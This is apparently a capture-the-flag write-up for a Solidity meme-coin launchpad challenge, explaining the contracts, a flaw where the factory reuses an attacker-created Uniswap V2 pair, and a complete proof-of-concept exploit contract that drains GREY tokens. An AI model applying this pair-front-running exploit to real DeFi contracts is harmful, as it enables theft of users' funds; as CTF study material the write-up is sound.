✅8. Launchpad
Codebase walkthrough
Setup.sol
We can call
claim()
and get 5e18 grey as intial fundThe winning condition in
isSolved()
is player holds ≥ 5.965e18 grey, so the objective is to steal 0.965e18 grey from the protocolThe constructor handles the setup:
Deploy grey token contract and mint 7e18 grey to Setup.sol
Deploy uniswap v2 factory and deploy Factory.sol
Invoke
factory.createToken()
to create a meme coin. Implicitly, the constructor of Token.sol mints 1000_000e18 to Factory.solInvoke
factory.buyTokens()
to pay 2e18 grey and buy meme
Token.sol
This contract is for creating new meme coins. It is just a regular ERC20 contract.
Only factory can call
burn()
.
Factory.sol
This contract implements the main meme coin launchpad logic (similar to pump.fun). The launch happens in 3 phases:
Token Creation Phase
Anyone can create a new meme token through
Factory.createToken()
Each token starts with 1M supply (defined as
INITIAL_AMOUNT
in Token.sol)Initial liquidity uses a "virtual bonding curve" with fake GREY reserves
pairs[tokenAddress] = Pair({
virtualLiquidity: virtualLiquidity,
reserveGREY: virtualLiquidity,
reserveToken: token.INITIAL_AMOUNT()
});
Bonding Curve Trading Phase
Users buy/sell tokens using GREY (the base currency) through the Factory contract
Uses a simple AMM formula:
amountOut = (amountIn * reserveOut) / (reserveIn + amountIn)
Trading continues until target GREY raised (
targetGREYRaised = 6e18 GREY
in Factory constructor)Virtual liquidity (
virtualLiquidity = 2e18 GREY
in Factory constructor) creates artificial price support
Launch to Uniswap Phase
Once target GREY raised, anyone can call Factory.launchToken()
Removes virtual liquidity and burns proportional tokens
Creates Uniswap V2 pair with real liquidity
Mints LP tokens to
address(0xdEaD)
(permanent liquidity provided to Uniswap V2 pair)
In Factory.launchToken()
, this code might be confusing:
// Burn tokens equal to ratio of reserveGREY removed to maintain constant price
uint256 burnAmount = (pair.virtualLiquidity * tokenAmount) / pair.reserveGREY;
tokenAmount -= burnAmount;
Token(token).burn(burnAmount);
Here token
is the meme coin that we are launching, not GREY! For example, before launch the price is reserveGREY / reserveToken
, which is 8 GREY / 800k meme tokens = 0.00001 GREY per token. The real liquidity is 6 GREY, together with 2 GREY initial virtual liquidity so we get 8 GREY total. After launch, 6 GREY will be transferred to Uniswap V2 pair, so to maintain the same price, we want the pair to hold 600k meme tokens. In other words, we have to burn meme tokens respect to the same price ratio: we want to burn the part that corresponds to virtual liquidity only -> burn 200k meme tokens. The math is basically:
and you can solve burnAmount
easily.
Bug description
In Factory.launchToken()
, the following code pretty much expects that the Uniswap V2 pair does not exist. If getPair()
returns non-empty result, the code is just going to reuse the pair, although the pair was created by someone else and it isn't trusted:
uniswapV2Pair = uniswapV2Factory.getPair(address(grey), address(token));
if (uniswapV2Pair == address(0)) {
uniswapV2Pair = uniswapV2Factory.createPair(address(grey), address(token));
}
An attacker can:
Pre-create the pair.
Seed it with highly skewed reserves (e.g., huge MEME and 1 wei GREY) to mint the initial LP to themselves.
When the factory launches into this pair, it mints new LP to 0xdEaD using Uniswap’s formula with
totalSupply > 0
:liquidityMinted = min(amount0 * totalSupply / reserve0, amount1 * totalSupply / reserve1)
Due to the skew, the
min()
side is controlled so the dead address only gets a small-ish fraction of the pool; the attacker still owns the majority LP supply.Attacker then burns their LP to redeem a lion’s share of the newly added GREY.
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import { Setup } from "src/launchpad/Setup.sol";
import { UniswapV2Pair } from "src/launchpad/lib/v2-core/UniswapV2Pair.sol";
contract Exploit {
Setup setup;
constructor(Setup _setup) {
setup = _setup;
}
function solve() external {
// Claim 5e18 GREY
setup.claim();
// Addresses
address greyAddress = address(setup.grey());
address memeAddress = address(setup.meme());
address factoryAddress = address(setup.factory());
// Buy 5e18 - 1 GREY worth of MEME
setup.grey().approve(factoryAddress, 5e18 - 1);
uint256 tokenAmount = setup.factory().buyTokens(memeAddress, 5e18 - 1, 0);
// Create GREY <> MEME pair on Uniswap
address pair = setup.uniswapV2Factory().createPair(greyAddress, memeAddress);
// Mint liquidity in UniswapV2 pair with all MEME and 1 wei of GREY
setup.meme().transfer(pair, tokenAmount);
setup.grey().transfer(pair, 1);
uint256 liquidity = UniswapV2Pair(pair).mint(address(this));
// Launch MEME to Uniswap
setup.factory().launchToken(memeAddress);
// Withdraw all liquidity from UniswapV2 pair
UniswapV2Pair(pair).transfer(pair, liquidity);
UniswapV2Pair(pair).burn(address(this));
// Swap all MEME for GREY
setup.meme().transfer(pair, setup.meme().balanceOf(address(this)));
UniswapV2Pair(pair).swap(1.65e18, 0, address(this), "");
// Send all GREY to msg.sender
setup.grey().transfer(msg.sender, setup.grey().balanceOf(address(this)));
}
}
Last updated